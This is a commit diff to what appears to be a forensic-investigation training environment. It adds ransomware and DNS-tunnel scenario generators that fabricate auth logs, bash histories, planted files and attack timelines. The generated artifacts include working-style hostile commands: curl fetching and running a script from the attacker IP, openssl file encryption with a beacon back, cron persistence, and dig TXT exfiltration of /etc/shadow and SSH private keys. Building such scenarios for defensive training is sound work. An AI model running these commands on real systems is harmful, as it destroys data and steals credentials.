yashppawar commited on
Commit
401c6f8
·
verified ·
1 Parent(s): 62567eb

Upload folder using huggingface_hub

Browse files
openenv_forensic_shell.egg-info/SOURCES.txt CHANGED
@@ -5,6 +5,7 @@ models.py
5
  pyproject.toml
6
  ./__init__.py
7
  ./client.py
 
8
  ./models.py
9
  agents/__init__.py
10
  agents/llm_policy.py
 
5
  pyproject.toml
6
  ./__init__.py
7
  ./client.py
8
+ ./inference.py
9
  ./models.py
10
  agents/__init__.py
11
  agents/llm_policy.py
server/attack_patterns.py CHANGED
@@ -279,10 +279,132 @@ def insider(ctx):
279
  )
280
 
281
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
282
  PATTERNS = {
283
  "ssh_brute": ssh_brute,
284
  "ssh_key_theft": ssh_key_theft,
285
  "webshell": webshell,
286
  "supply_chain": supply_chain,
287
  "insider": insider,
 
 
288
  }
 
279
  )
280
 
281
 
282
+ # ---------------------------------------------------------------------------
283
+ # Pattern 6 — ransomware: encrypt files + drop ransom note + cron persistence
284
+ # ---------------------------------------------------------------------------
285
+
286
+ def ransomware(ctx):
287
+ user, ip, host = ctx.user, ctx.ip, ctx.host
288
+ ts = ctx.ts_base
289
+ auth = [
290
+ f"{_fmt_ts(ts)} {host} sshd[2201]: Accepted password for {user} from {ip} port {ctx.rng.randint(30000, 65000)} ssh2",
291
+ f"{_fmt_ts(ts + timedelta(seconds=1))} {host} sshd[2201]: pam_unix(sshd:session): session opened for user {user} by (uid=0)",
292
+ f"{_fmt_ts(ts + timedelta(minutes=2))} {host} sudo: {user} : TTY=pts/0 ; PWD=/home/{user} ; USER=root ; COMMAND=/bin/bash /tmp/.{ctx.short}_enc.sh",
293
+ f"{_fmt_ts(ts + timedelta(minutes=3))} {host} sudo: {user} : TTY=pts/0 ; PWD=/home/{user} ; USER=root ; COMMAND=/usr/bin/tee /etc/cron.d/{ctx.short}-check",
294
+ ]
295
+ bash = (
296
+ f"cd /tmp\n"
297
+ f"curl -sO http://{ip}/enc/{ctx.short}_enc.sh\n"
298
+ f"chmod +x .{ctx.short}_enc.sh\n"
299
+ f"sudo bash /tmp/.{ctx.short}_enc.sh\n"
300
+ f"echo '*/10 * * * * root /tmp/.{ctx.short}_enc.sh >/dev/null 2>&1' | sudo tee /etc/cron.d/{ctx.short}-check\n"
301
+ f"history -c\n"
302
+ )
303
+ ransom_note = (
304
+ f"=== YOUR FILES HAVE BEEN ENCRYPTED ===\n"
305
+ f"All .doc, .pdf, .xls files on this host have been encrypted.\n"
306
+ f"Send 0.5 BTC to 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\n"
307
+ f"Contact: recovery-{ctx.short}@protonmail.com\n"
308
+ f"DO NOT attempt to decrypt without the key.\n"
309
+ )
310
+ enc_script = (
311
+ f"#!/bin/bash\n"
312
+ f"# {ctx.short} encryptor\n"
313
+ f"find /home -name '*.doc' -o -name '*.pdf' -o -name '*.xls' 2>/dev/null | "
314
+ f"while read f; do openssl enc -aes-256-cbc -salt -in \"$f\" -out \"$f.enc\" -pass pass:{ctx.short}; done\n"
315
+ f"echo 'encryption complete' | curl -s -X POST -d @- http://{ip}/status/{ctx.short}\n"
316
+ ).encode()
317
+ cron_content = f"*/10 * * * * root /tmp/.{ctx.short}_enc.sh >/dev/null 2>&1\n"
318
+ modified_files = {
319
+ f"/tmp/.{ctx.short}_enc.sh": enc_script,
320
+ "/home/RANSOM_NOTE.txt": ransom_note,
321
+ f"/etc/cron.d/{ctx.short}-check": cron_content,
322
+ ctx.backdoor_path: ctx.backdoor_bytes,
323
+ }
324
+ timeline = [
325
+ {"phase": "login", "detail": f"ssh from {ip}"},
326
+ {"phase": "recon", "detail": "find /home -name *.doc"},
327
+ {"phase": "privesc", "detail": "sudo bash encryption script"},
328
+ {"phase": "persistence", "detail": f"cron /etc/cron.d/{ctx.short}-check re-encrypts on schedule"},
329
+ {"phase": "exfil", "detail": f"encryption status beacon to {ip}"},
330
+ ]
331
+ return dict(
332
+ pattern_tag="ransomware",
333
+ auth_log_lines=auth,
334
+ bash_history=bash,
335
+ modified_files=modified_files,
336
+ modified_paths=[
337
+ f"/tmp/.{ctx.short}_enc.sh",
338
+ "/home/RANSOM_NOTE.txt",
339
+ f"/etc/cron.d/{ctx.short}-check",
340
+ ctx.backdoor_path,
341
+ ],
342
+ timeline=timeline,
343
+ )
344
+
345
+
346
+ # ---------------------------------------------------------------------------
347
+ # Pattern 7 — DNS tunnel: exfiltrate data via DNS TXT queries
348
+ # ---------------------------------------------------------------------------
349
+
350
+ def dns_tunnel(ctx):
351
+ user, ip, host = ctx.user, ctx.ip, ctx.host
352
+ ts = ctx.ts_base
353
+ tunnel_domain = f"{ctx.short}.exfil.example.com"
354
+ auth = [
355
+ f"{_fmt_ts(ts)} {host} sshd[1101]: Accepted password for {user} from {ip} port {ctx.rng.randint(30000, 65000)} ssh2",
356
+ f"{_fmt_ts(ts + timedelta(seconds=1))} {host} sshd[1101]: pam_unix(sshd:session): session opened for user {user} by (uid=0)",
357
+ f"{_fmt_ts(ts + timedelta(minutes=1))} {host} sudo: {user} : TTY=pts/0 ; PWD=/home/{user} ; USER=root ; COMMAND=/usr/bin/apt install dnsutils",
358
+ f"{_fmt_ts(ts + timedelta(minutes=3))} {host} sudo: {user} : TTY=pts/0 ; PWD=/home/{user} ; USER=root ; COMMAND=/bin/bash /tmp/.{ctx.short}_dns.sh",
359
+ ]
360
+ bash = (
361
+ f"sudo apt install -y dnsutils\n"
362
+ f"cat /etc/shadow | base64 | fold -w 63 | while read chunk; do dig TXT $chunk.{tunnel_domain} +short; done\n"
363
+ f"cat /etc/passwd | base64 | fold -w 63 | while read chunk; do dig TXT $chunk.{tunnel_domain} +short; done\n"
364
+ f"echo '*/5 * * * * root /tmp/.{ctx.short}_dns.sh' | sudo tee /etc/cron.d/{ctx.short}-dns\n"
365
+ f"history -c\n"
366
+ )
367
+ dns_script = (
368
+ f"#!/bin/bash\n"
369
+ f"# DNS tunnel exfil agent — {ctx.short}\n"
370
+ f"for f in /etc/shadow /etc/passwd /home/*/.ssh/id_rsa; do\n"
371
+ f" [ -f \"$f\" ] && cat \"$f\" | base64 | fold -w 63 | "
372
+ f"while read c; do dig TXT \"$c.{tunnel_domain}\" +short 2>/dev/null; done\n"
373
+ f"done\n"
374
+ ).encode()
375
+ cron_content = f"*/5 * * * * root /tmp/.{ctx.short}_dns.sh >/dev/null 2>&1\n"
376
+ modified_files = {
377
+ f"/tmp/.{ctx.short}_dns.sh": dns_script,
378
+ f"/etc/cron.d/{ctx.short}-dns": cron_content,
379
+ ctx.backdoor_path: ctx.backdoor_bytes,
380
+ }
381
+ timeline = [
382
+ {"phase": "login", "detail": f"ssh from {ip}"},
383
+ {"phase": "recon", "detail": "cat /etc/shadow; cat /etc/passwd"},
384
+ {"phase": "privesc", "detail": "sudo apt install dnsutils"},
385
+ {"phase": "persistence", "detail": f"cron /etc/cron.d/{ctx.short}-dns runs every 5 min"},
386
+ {"phase": "exfil", "detail": f"base64 chunks via DNS TXT to {tunnel_domain}"},
387
+ ]
388
+ return dict(
389
+ pattern_tag="dns_tunnel",
390
+ auth_log_lines=auth,
391
+ bash_history=bash,
392
+ modified_files=modified_files,
393
+ modified_paths=[
394
+ f"/tmp/.{ctx.short}_dns.sh",
395
+ f"/etc/cron.d/{ctx.short}-dns",
396
+ ctx.backdoor_path,
397
+ ],
398
+ timeline=timeline,
399
+ )
400
+
401
+
402
  PATTERNS = {
403
  "ssh_brute": ssh_brute,
404
  "ssh_key_theft": ssh_key_theft,
405
  "webshell": webshell,
406
  "supply_chain": supply_chain,
407
  "insider": insider,
408
+ "ransomware": ransomware,
409
+ "dns_tunnel": dns_tunnel,
410
  }